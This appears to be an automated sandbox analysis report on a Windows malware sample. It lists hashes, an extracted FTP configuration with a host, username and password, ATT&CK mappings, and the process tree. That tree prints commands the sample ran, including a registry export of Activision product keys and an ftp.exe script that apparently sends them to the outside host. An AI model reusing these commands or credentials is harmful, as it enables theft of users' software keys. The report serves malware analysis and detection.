81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831

General

Target
jaffacakes118_81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831.exe
Size 70KB
Sample260924-2rc62syvbz
SHA256 81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831
MD5 d48393e87695ac80b0ac9902e0a18351
SHA1 b2454a374f4f9060ba9e6c14deb2803155565248
SHA512 1407d0e98b7d2a4953977628809d4bf3a802aeb19b4f7c2c13d5b9004fa4bf6033b1c3408067ecd5706a6f765df831b6853104bce9b1699b479442c37f4825ec
SSDEEP 768:C/syphwLO0DGjz3V4j91WW8x9W5Dz9TTrO6HSZoKc+U0u3YcC2blP5wM7Ek0iPpM:yBej95nI6HSpc+UIqnEixqSLaqon
TLSH
T1D8637C03F5D28872F1E10FB85C19857AE93BBD382E36535DA7994E0E4C7A7804C78B96
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Credentials

Protocol
ftp
Host
customer0005.freehostia.com
Port
21
Username
cuscus1
Password
3927986

Signatures

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2284	cmd.exe
5124	cmd.exe
5204	cmd.exe
4192	cmd.exe
5104	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ftp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 2284	2880	jaffacakes118_81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831.exe	89
PID 2284 wrote to memory of 5124	2284	cmd.exe	91
PID 5124 wrote to memory of 5804	5124	cmd.exe	92
PID 5124 wrote to memory of 4484	5124	cmd.exe	93
PID 2284 wrote to memory of 5204	2284	cmd.exe	94
PID 5204 wrote to memory of 4212	5204	cmd.exe	95
PID 5204 wrote to memory of 2384	5204	cmd.exe	96
PID 2284 wrote to memory of 4164	2284	cmd.exe	97
PID 2284 wrote to memory of 4192	2284	cmd.exe	98
PID 4192 wrote to memory of 3852	4192	cmd.exe	99
PID 4192 wrote to memory of 5164	4192	cmd.exe	100
PID 2284 wrote to memory of 5104	2284	cmd.exe	101
PID 5104 wrote to memory of 3460	5104	cmd.exe	102
PID 5104 wrote to memory of 1684	5104	cmd.exe	103
PID 2284 wrote to memory of 4648	2284	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a35346.bat "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_81ebf392ca1516bb9ce87ecf3e6a89635862679ede02770bed25af6ed8d60831.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c echo exit|cmd /q /k"prompt $D $T"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5124
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo exit"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5804
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /q /k"prompt $D $T"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c echo.|date
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo."
      4⤵
      System Location Discovery: System Language Discovery
      PID:4212
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" date"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2384
- - C:\Windows\SysWOW64\reg.exe
    REG EXPORT HKEY_LOCAL_MACHINE\SOFTWARE\Activision\ C:\24-09-2026_--_Key.txt
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c echo exit|cmd /q /k"prompt $D $T"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo exit"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3852
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /q /k"prompt $D $T"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c echo.|date
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo."
      4⤵
      System Location Discovery: System Language Discovery
      PID:3460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" date"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1684
- - C:\Windows\SysWOW64\ftp.exe
    ftp -s:C:\Users\Admin\AppData\Local\Temp\sendtoftp.log
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4648

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a35346.bat

Path C:\Users\Admin\AppData\Local\Temp\a35346.bat
Size 2KB
SHA256 2dc5c3db2e53842d8f3428be67a181710f2b56535b0d2d7ca410d196178308cd
MD5 7c15a66f05f333b18f71f59271e2820c
SHA1 aa30c1d05bee3f4d8c816bbe28a1e93c7a8d058c
SHA512 e73482ea92f4940926dbcfc72fc3e03ed20a80eb6ba940ae21b8523392e6f01a0621a36f73a6bd13eb7b16847c7536fc5477a7c957cae63e2f769bfbc6b980e9
TLSH
T13241E4577CD7C0000799442FFBB1A89DB337C1821F96CC9D315B968A9E451584ABD7C6
MD5 SHA1 SHA512 TLSH

Submit Download

sendtoftp.log

Path C:\Users\Admin\AppData\Local\Temp\sendtoftp.log
Size 87B
SHA256 46c9835e904bdb758cf879114cf19f4debb9984c04c966c0526be45726b4e0de
MD5 5d785bc1c1516eb51052519c2caa61a9
SHA1 67081bb2ac5f63fd116f6890f53f3ca27640920c
SHA512 05d5a8bf453331366dfe9704508f2b759344e368321449f73d487742650a9d171727b7dda9f79cc2eff9d7181e69c966d4e24380cff324fd5620fd1d2352d1be
TLSH
T10FB0128C0DA5401B16643A81074E98224540225201C3DC142250AFD0024050C9140050
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2880-9-0x0000000000400000-0x000000000041A000-memory.dmp

Download

Analysis

Sharing